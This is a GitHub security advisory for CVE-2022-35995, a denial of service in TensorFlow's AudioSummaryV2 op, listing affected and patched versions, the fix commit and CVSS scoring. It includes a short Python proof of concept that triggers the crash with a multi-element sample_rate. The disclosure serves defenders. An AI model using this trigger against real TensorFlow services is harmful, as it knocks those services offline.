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TensorFlow vulnerable to `CHECK` fail in `AudioSummaryV2`

Moderate severity GitHub Reviewed Published Sep 15, 2022 in tensorflow/tensorflow • Updated Jan 28, 2023

Package

pip tensorflow (pip)

Affected versions

< 2.7.2
>= 2.8.0, < 2.8.1
>= 2.9.0, < 2.9.1

Patched versions

2.7.2
2.8.1
2.9.1
pip tensorflow-cpu (pip)
< 2.7.2
>= 2.8.0, < 2.8.1
>= 2.9.0, < 2.9.1
2.7.2
2.8.1
2.9.1
pip tensorflow-gpu (pip)
< 2.7.2
>= 2.8.0, < 2.8.1
>= 2.9.0, < 2.9.1
2.7.2
2.8.1
2.9.1

Description

Impact

When AudioSummaryV2 receives an input sample_rate with more than one element, it gives a CHECK fails that can be used to trigger a denial of service attack.

import tensorflow as tf
arg_0=''
arg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_2=tf.random.uniform(shape=(2,1), dtype=tf.float32, maxval=None)
arg_3=3
arg_4=''
tf.raw_ops.AudioSummaryV2(tag=arg_0, tensor=arg_1, sample_rate=arg_2,
                          max_outputs=arg_3, name=arg_4)

Patches

We have patched the issue in GitHub commit bf6b45244992e2ee543c258e519489659c99fb7f.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.

References

@pak-laura pak-laura published to tensorflow/tensorflow Sep 15, 2022
Published to the GitHub Advisory Database Sep 16, 2022
Reviewed Sep 16, 2022
Published by the National Vulnerability Database Sep 16, 2022
Last updated Jan 28, 2023

Severity

Moderate
5.9
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Weaknesses

CVE ID

CVE-2022-35995

GHSA ID

GHSA-g9h5-vr8m-x2h4

Source code

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